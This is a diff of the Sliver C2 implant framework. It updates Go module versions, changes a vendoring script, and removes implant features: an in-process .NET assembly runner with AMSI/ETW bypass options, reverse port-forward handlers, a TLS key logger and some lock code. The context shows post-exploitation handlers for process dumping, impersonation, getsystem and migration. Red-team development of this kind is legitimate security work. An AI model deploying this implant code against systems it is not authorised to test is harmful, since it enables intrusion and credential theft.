+	github.com/AlecAivazis/survey/v2 v2.2.2
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/Ne0nd0g/go-clr v1.0.2
-	github.com/alecthomas/chroma v0.10.0
-	github.com/cheggaaa/pb/v3 v3.1.0
-	github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
-	github.com/chromedp/chromedp v0.8.6
+	github.com/alecthomas/chroma v0.8.1
+	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
-	github.com/desertbit/readline v1.5.1
-	github.com/fatih/color v1.13.0
-	github.com/gofrs/uuid v4.3.0+incompatible
+	github.com/fatih/color v1.12.0
+	github.com/gofrs/uuid v3.3.0+incompatible
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
-	github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
-	github.com/jedib0t/go-pretty/v6 v6.4.0
+	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
+	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.15
-	github.com/miekg/dns v1.1.50
+	github.com/mattn/go-sqlite3 v1.14.12
+	github.com/miekg/dns v1.1.35
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/pquerna/otp v1.3.0
-	github.com/shirou/gopsutil/v3 v3.22.9
-	github.com/sirupsen/logrus v1.9.0
-	github.com/spf13/cobra v1.6.0
-	github.com/stretchr/testify v1.8.0
+	github.com/shirou/gopsutil/v3 v3.21.10
+	github.com/sirupsen/logrus v1.8.1
+	github.com/spf13/cobra v1.1.1
+	github.com/stretchr/testify v1.7.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
-	golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
-	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
-	golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
 	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
-	golang.org/x/text v0.3.8
+	golang.org/x/text v0.3.7
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
 	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.28.1
+	google.golang.org/protobuf v1.27.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gorm.io/driver/mysql v1.4.1
-	gorm.io/driver/postgres v1.4.4
-	gorm.io/driver/sqlite v1.4.2
-	gorm.io/gorm v1.24.0
-	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
-	modernc.org/sqlite v1.19.2
+	gorm.io/driver/mysql v1.0.3
+	gorm.io/driver/postgres v1.0.5
+	gorm.io/driver/sqlite v1.1.3
+	gorm.io/gorm v1.21.14
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	modernc.org/sqlite v1.16.0
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.5.1 // indirect
+	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
-	github.com/chromedp/sysutil v1.0.0 // indirect
+	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
-	github.com/dlclark/regexp2 v1.4.0 // indirect
+	github.com/desertbit/readline v1.5.1 // indirect
+	github.com/dlclark/regexp2 v1.2.0 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/go-ole/go-ole v1.2.6 // indirect
-	github.com/go-sql-driver/mysql v1.6.0 // indirect
-	github.com/gobwas/httphead v0.1.0 // indirect
-	github.com/gobwas/pool v0.2.1 // indirect
-	github.com/gobwas/ws v1.1.0 // indirect
+	github.com/go-sql-driver/mysql v1.5.0 // indirect
 	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
-	github.com/hashicorp/go-uuid v1.0.2 // indirect
-	github.com/inconshreveable/mousetrap v1.0.1 // indirect
+	github.com/inconshreveable/mousetrap v1.0.0 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
-	github.com/jackc/pgconn v1.13.0 // indirect
+	github.com/jackc/pgconn v1.7.0 // indirect
 	github.com/jackc/pgio v1.0.0 // indirect
 	github.com/jackc/pgpassfile v1.0.0 // indirect
-	github.com/jackc/pgproto3/v2 v2.3.1 // indirect
+	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
 	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
-	github.com/jackc/pgtype v1.12.0 // indirect
-	github.com/jackc/pgx/v4 v4.17.2 // indirect
-	github.com/jcmturner/gofork v1.0.0 // indirect
+	github.com/jackc/pgtype v1.5.0 // indirect
+	github.com/jackc/pgx/v4 v4.9.0 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
-	github.com/jinzhu/now v1.1.5 // indirect
-	github.com/josharian/intern v1.0.0 // indirect
+	github.com/jinzhu/now v1.1.2 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
 	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/mailru/easyjson v0.7.7 // indirect
-	github.com/mattn/go-colorable v0.1.9 // indirect
-	github.com/mattn/go-isatty v0.0.16 // indirect
-	github.com/mattn/go-runewidth v0.0.13 // indirect
+	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-isatty v0.0.13 // indirect
+	github.com/mattn/go-runewidth v0.0.9 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
-	github.com/rivo/uniseg v0.2.0 // indirect
+	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	github.com/yusufpapurcu/wmi v1.2.2 // indirect
-	golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.12 // indirect
+	golang.org/x/tools v0.1.9 // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
 	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
+	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
 	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
-	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
-	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
-	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
-	gopkg.in/yaml.v3 v3.0.1 // indirect
-	lukechampine.com/uint128 v1.2.0 // indirect
-	modernc.org/cc/v3 v3.40.0 // indirect
-	modernc.org/ccgo/v3 v3.16.12 // indirect
-	modernc.org/libc v1.20.3 // indirect
-	modernc.org/mathutil v1.5.0 // indirect
-	modernc.org/memory v1.4.0 // indirect
-	modernc.org/opt v0.1.3 // indirect
-	modernc.org/strutil v1.1.3 // indirect
-	modernc.org/token v1.0.1 // indirect
+	gopkg.in/yaml.v3 v3.0.0 // indirect
+	lukechampine.com/uint128 v1.1.1 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
+	modernc.org/mathutil v1.4.1 // indirect
+	modernc.org/memory v1.0.7 // indirect
+	modernc.org/opt v0.1.1 // indirect
+	modernc.org/strutil v1.1.1 // indirect
+	modernc.org/token v1.0.0 // indirect
 )

implant/go-mod

@@ -1,57 +1,41 @@
 module github.com/bishopfox/sliver
 
-go 1.18
+go 1.17
 
 require (
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/Ne0nd0g/go-clr v1.0.2
 	github.com/gofrs/uuid v4.0.0+incompatible
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/miekg/dns v1.1.50
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/onsi/ginkgo v1.16.5
-	github.com/onsi/gomega v1.20.2
 	github.com/pquerna/otp v1.3.0
 	github.com/stretchr/testify v1.7.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
 	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
-	golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	google.golang.org/protobuf v1.28.0
-	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
+	google.golang.org/protobuf v1.26.0
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
 )
 
 require (
 	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.1 // indirect
+	github.com/Microsoft/go-winio v0.5.0 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
-	github.com/fsnotify/fsnotify v1.4.9 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/google/btree v1.0.1 // indirect
-	github.com/google/go-cmp v0.5.8 // indirect
-	github.com/hashicorp/go-uuid v1.0.2 // indirect
-	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/nxadm/tail v1.4.8 // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	golang.org/x/mod v0.5.1 // indirect
-	golang.org/x/text v0.3.7 // indirect
+	golang.org/x/mod v0.4.2 // indirect
 	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
-	golang.org/x/tools v0.1.9 // indirect
+	golang.org/x/tools v0.1.7 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
-	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
-	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
-	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
-	gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
-	gopkg.in/yaml.v3 v3.0.1 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
 )

implant/scripts/update-vendor.sh

@@ -1,31 +1,17 @@
-#!/bin/bash
+#!/bin/sh
 
 set -e
 
-cleanup() {
-  [ ! -z "$1" ] && echo "Error $1 occurred on $2"
-
-  mv "${tempDir}/vendor" "${pwd}/../vendor"
-  mv "${tempDir}/go.mod" "${pwd}/../go-mod"
-  mv "${tempDir}/go.sum" "${pwd}/../go-sum"
-  cd ..
-  rm -rf "$tempDir"
-}
-
 # we are expecting from run from sliver/implant via 'go generate'
 cd scripts
 
 # copy Go module related files
 pwd="$(pwd)"
-tempDir="$(mktemp -d)"
+tempDir="$(mktemp -d -p $pwd)"
 cp ../go-mod "${tempDir}/go.mod"
 cp ../go-sum "${tempDir}/go.sum"
 mv ../vendor "${tempDir}/vendor"
 
-
-# Trap when a build fails so we can reset the environment
-trap 'cleanup $? $LINENO' ERR
-
 # build Go file with all imported packages
 go run update-vendor.go "$tempDir"
 cd "$tempDir"
@@ -34,4 +20,8 @@ go mod tidy -compat=1.17
 go mod vendor
 
 # move updated files back
-cleanup
+mv "${tempDir}/vendor" ../../vendor
+mv "${tempDir}/go.mod" ../../go-mod
+mv "${tempDir}/go.sum" ../../go-sum
+cd ..
+rm -rf "$tempDir"

implant/sliver/cryptography/crypto.go

@@ -182,15 +182,6 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	return ciphertext, nil
 }
 
-// GetExactOTPCode - Get the OTP code for a specific timestamp
-func GetExactOTPCode(timestamp time.Time) string {
-	code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
-	// {{if .Config.Debug}}
-	log.Printf("TOTP Code (%s): %s", timestamp, code)
-	// {{end}}
-	return code
-}
-
 // GetOTPCode - Get the current OTP code
 func GetOTPCode() string {
 	now := time.Now().UTC()

implant/sliver/cryptography/tlskeys.go

@@ -1,42 +0,0 @@
-package cryptography
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"os"
-)
-
-var (
-	// TLSKeyLogger - File descriptor for logging TLS keys
-	TLSKeyLogger = newKeyLogger()
-)
-
-func newKeyLogger() *os.File {
-	// {{if .Config.Debug}}
-	keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
-	if present {
-		keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
-		if err != nil {
-			return nil
-		}
-		return keyFile
-	}
-	// {{end}}
-	return nil
-}

implant/sliver/extension/extension_darwin.go

@@ -21,7 +21,6 @@ package extension
 import (
 	"bytes"
 	"runtime"
-	"sync"
 	"unsafe"
 
 	// {{if .Config.Debug}}
@@ -37,7 +36,6 @@ type DarwinExtension struct {
 	arch        string
 	serverStore bool
 	init        string
-	sync.Mutex
 }
 
 type extensionArguments struct {
@@ -66,8 +64,6 @@ func (d *DarwinExtension) GetArch() string {
 
 func (d *DarwinExtension) Load() error {
 	var err error
-	d.Lock()
-	defer d.Unlock()
 	loader, err := universal.NewLoader()
 	if err != nil {
 		return err
@@ -102,8 +98,6 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
 	// {{if .Config.Debug}}
 	log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
 	// {{end}}
-	d.Lock()
-	defer d.Unlock()
 	_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
 	if err != nil {
 		return err

implant/sliver/extension/extension_windows.go

@@ -21,7 +21,6 @@ package extension
 import (
 	"bytes"
 	"errors"
-	"sync"
 	"syscall"
 	"unsafe"
 
@@ -44,7 +43,6 @@ type WindowsExtension struct {
 	arch     string
 	init     string
 	onFinish func([]byte)
-	sync.Mutex
 }
 
 // NewWindowsExtension - Load a new windows extension
@@ -73,8 +71,6 @@ func (w *WindowsExtension) Load() error {
 	if len(w.data) == 0 {
 		return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
 	}
-	w.Lock()
-	defer w.Unlock()
 	w.module, err = memmod.LoadLibrary(w.data)
 	if err != nil {
 		return err
@@ -118,8 +114,6 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	// The extension API must respect the following prototype:
 	// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
 	// where goCallback = int(char *, int)
-	w.Lock()
-	defer w.Unlock()
 	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
 	if errNo != 0 {
 		return errors.New(errNo.Error())

implant/sliver/handlers/handlers.go

@@ -58,9 +58,6 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
 // PivotHandler - Handler related to pivoting
 type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
 
-// RportFwdHandler - Handler related to reverse port forwarding
-type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
-
 // -----------------------------------------------------
 // -----------------------------------------------------
 // -----------------------------------------------------
@@ -375,9 +372,6 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
 		to download a single file
 	*/
 	fileInfo, err := os.Stat(path + filter)
-	if err != nil {
-		return nil, false, 0, 1, err
-	}
 	if err == nil && !fileInfo.IsDir() {
 		// Then this is a single file
 		rawData, err := os.ReadFile(path + filter)
@@ -599,9 +593,6 @@ func executeHandler(data []byte, resp RPCResponse) {
 				Err: fmt.Sprintf("%s", err),
 			}
 		}
-		if cmd.Process != nil {
-			execResp.Pid = uint32(cmd.Process.Pid)
-		}
 	}
 	data, err = proto.Marshal(execResp)
 	resp(data, err)

implant/sliver/handlers/handlers_windows.go

@@ -49,25 +49,24 @@ var (
 	windowsHandlers = map[uint32]RPCHandler{
 
 		// Windows Only
-		sliverpb.MsgTaskReq:                        taskHandler,
-		sliverpb.MsgProcessDumpReq:                 dumpHandler,
-		sliverpb.MsgImpersonateReq:                 impersonateHandler,
-		sliverpb.MsgRevToSelfReq:                   revToSelfHandler,
-		sliverpb.MsgRunAsReq:                       runAsHandler,
-		sliverpb.MsgInvokeGetSystemReq:             getsystemHandler,
-		sliverpb.MsgInvokeExecuteAssemblyReq:       executeAssemblyHandler,
-		sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
-		sliverpb.MsgInvokeMigrateReq:               migrateHandler,
-		sliverpb.MsgSpawnDllReq:                    spawnDllHandler,
-		sliverpb.MsgStartServiceReq:                startService,
-		sliverpb.MsgStopServiceReq:                 stopService,
-		sliverpb.MsgRemoveServiceReq:               removeService,
-		sliverpb.MsgEnvReq:                         getEnvHandler,
-		sliverpb.MsgSetEnvReq:                      setEnvHandler,
-		sliverpb.MsgUnsetEnvReq:                    unsetEnvHandler,
-		sliverpb.MsgExecuteWindowsReq:              executeWindowsHandler,
-		sliverpb.MsgGetPrivsReq:                    getPrivsHandler,
-		sliverpb.MsgCurrentTokenOwnerReq:           currentTokenOwnerHandler,
+		sliverpb.MsgTaskReq:                  taskHandler,
+		sliverpb.MsgProcessDumpReq:           dumpHandler,
+		sliverpb.MsgImpersonateReq:           impersonateHandler,
+		sliverpb.MsgRevToSelfReq:             revToSelfHandler,
+		sliverpb.MsgRunAsReq:                 runAsHandler,
+		sliverpb.MsgInvokeGetSystemReq:       getsystemHandler,
+		sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
+		sliverpb.MsgInvokeMigrateReq:         migrateHandler,
+		sliverpb.MsgSpawnDllReq:              spawnDllHandler,
+		sliverpb.MsgStartServiceReq:          startService,
+		sliverpb.MsgStopServiceReq:           stopService,
+		sliverpb.MsgRemoveServiceReq:         removeService,
+		sliverpb.MsgEnvReq:                   getEnvHandler,
+		sliverpb.MsgSetEnvReq:                setEnvHandler,
+		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
+		sliverpb.MsgExecuteWindowsReq:        executeWindowsHandler,
+		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -239,26 +238,6 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 
 }
 
-func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
-	execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
-	err := proto.Unmarshal(data, execReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-	output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
-	execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
-	if err != nil {
-		execAsm.Response = &commonpb.Response{
-			Err: err.Error(),
-		}
-	}
-	data, err = proto.Marshal(execAsm)
-	resp(data, err)
-}
-
 func executeWindowsHandler(data []byte, resp RPCResponse) {
 	var (
 		err       error

implant/sliver/handlers/rpc-handlers.go

@@ -315,11 +315,7 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
 		commandReq.Username,
 		commandReq.Password,
 		commandReq.PrivKey,
-		commandReq.Krb5Conf,
-		commandReq.Keytab,
-		commandReq.Realm,
-		commandReq.Command,
-	)
+		commandReq.Command)
 	commandResp := &sliverpb.SSHCommand{
 		Response: &commonpb.Response{},
 		StdOut:   stdout,

implant/sliver/handlers/rportfwd-handlers.go

@@ -1,159 +0,0 @@
-package handlers
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	// {{if .Config.Debug}}
-
-	"log"
-
-	// {{end}}
-	"time"
-
-	rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
-	"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-var (
-	genericRportFwdHandlers = map[uint32]RportFwdHandler{
-		pb.MsgRportFwdListenersReq:     rportFwdListenersHandler,
-		pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
-		pb.MsgRportFwdStopListenerReq:  rportFwdStopListenerHandler,
-	}
-)
-
-// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
-func GetRportFwdHandlers() map[uint32]RportFwdHandler {
-	return genericRportFwdHandlers
-}
-
-func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
-
-	forwards := rportfwd.Portfwds.List()
-	var portfwdListeners []*pb.RportFwdListener
-
-	for _, portfwd := range forwards {
-
-		portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
-			ID:             uint32(portfwd.ID),
-			BindAddress:    portfwd.BindAddr,
-			ForwardAddress: portfwd.RemoteAddr,
-		})
-	}
-	data, _ := proto.Marshal(&pb.RportFwdListeners{
-		Listeners: portfwdListeners,
-		Response:  &commonpb.Response{},
-	})
-	connection.Send <- &pb.Envelope{
-		ID:   envelope.ID,
-		Data: data,
-	}
-
-}
-func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
-	req := &pb.RportFwdStartListenerReq{}
-	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
-	err := proto.Unmarshal(envelope.Data, req)
-	if err != nil {
-		resp.Response.Err = err.Error()
-		data, _ := proto.Marshal(resp)
-		connection.Send <- &pb.Envelope{
-			ID:   envelope.ID,
-			Data: data,
-		}
-		return
-	}
-	rportfwds := rportfwd.Portfwds.List()
-
-	for _, r := range rportfwds {
-		if r.BindAddr == req.BindAddress {
-			resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
-			data, _ := proto.Marshal(resp)
-			connection.Send <- &pb.Envelope{
-				ID:   envelope.ID,
-				Data: data,
-			}
-			return
-		}
-	}
-	tcpProxy := &tcpproxy.Proxy{}
-	channelProxy := &rportfwd.ChannelProxy{
-		Conn:            connection,
-		RemoteAddr:      req.ForwardAddress,
-		BindAddr:        req.BindAddress,
-		KeepAlivePeriod: 1000 * time.Second,
-		DialTimeout:     30 * time.Second,
-	}
-	tcpProxy.AddRoute(req.BindAddress, channelProxy)
-	rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
-
-	go func() {
-		err := tcpProxy.Run()
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Proxy error %s", err)
-			// {{end}}
-		}
-	}()
-	resp.BindAddress = req.BindAddress
-	resp.ForwardAddress = req.ForwardAddress
-	resp.BindPort = req.ForwardPort
-	resp.ForwardPort = req.ForwardPort
-	resp.ID = uint32(rportfwd.ID)
-
-	data, _ := proto.Marshal(resp)
-	connection.Send <- &pb.Envelope{
-		ID:   envelope.ID,
-		Data: data,
-	}
-}
-
-func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
-	req := &pb.RportFwdStopListenerReq{}
-	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
-	err := proto.Unmarshal(envelope.Data, req)
-	if err != nil {
-		resp.Response.Err = err.Error()
-		data, _ := proto.Marshal(resp)
-		connection.Send <- &pb.Envelope{
-			ID:   envelope.ID,
-			Data: data,
-		}
-		return
-	}
-
-	rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
-	if rportfwd != nil {
-		resp.ID = uint32(rportfwd.ID)
-		resp.BindAddress = rportfwd.ChannelProxy.BindAddr
-		resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
-	} else {
-		resp.Response.Err = "Invalid ID\n"
-	}
-
-	data, _ := proto.Marshal(resp)
-	connection.Send <- &pb.Envelope{
-		ID:   envelope.ID,
-		Data: data,
-	}
-}

implant/sliver/handlers/tunnel_handlers/portfwd_handler.go

@@ -19,18 +19,17 @@ package tunnel_handlers
 */
 
 import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
 	"context"
 	"fmt"
 	"io"
 	"net"
-	"sync"
 	"time"
 
-	// {{if .Config.Debug}}
-	"log"
-
-	// {{end}}
-
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -109,31 +108,23 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
 		Data: portfwdResp,
 	}
 
-	once := sync.Once{}
 	cleanup := func(reason error) {
-		once.Do(func() {
-			// {{if .Config.Debug}}
-			log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
-			// {{end}}
-			cleanupTunnel := connection.Tunnel(tunnel.ID)
-			if cleanupTunnel == nil {
-				return
-			}
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
+		// {{end}}
+		tunnel := connection.Tunnel(tunnel.ID)
 
-			tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-				Closed:   true,
-				TunnelID: cleanupTunnel.ID,
-			})
-			connection.Send <- &sliverpb.Envelope{
-				Type: sliverpb.MsgTunnelClose,
-				Data: tunnelClose,
-			}
-			connection.RemoveTunnel(cleanupTunnel.ID)
-			if dst != nil {
-				dst.Close()
-			}
-			cancelContext()
+		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+			Closed:   true,
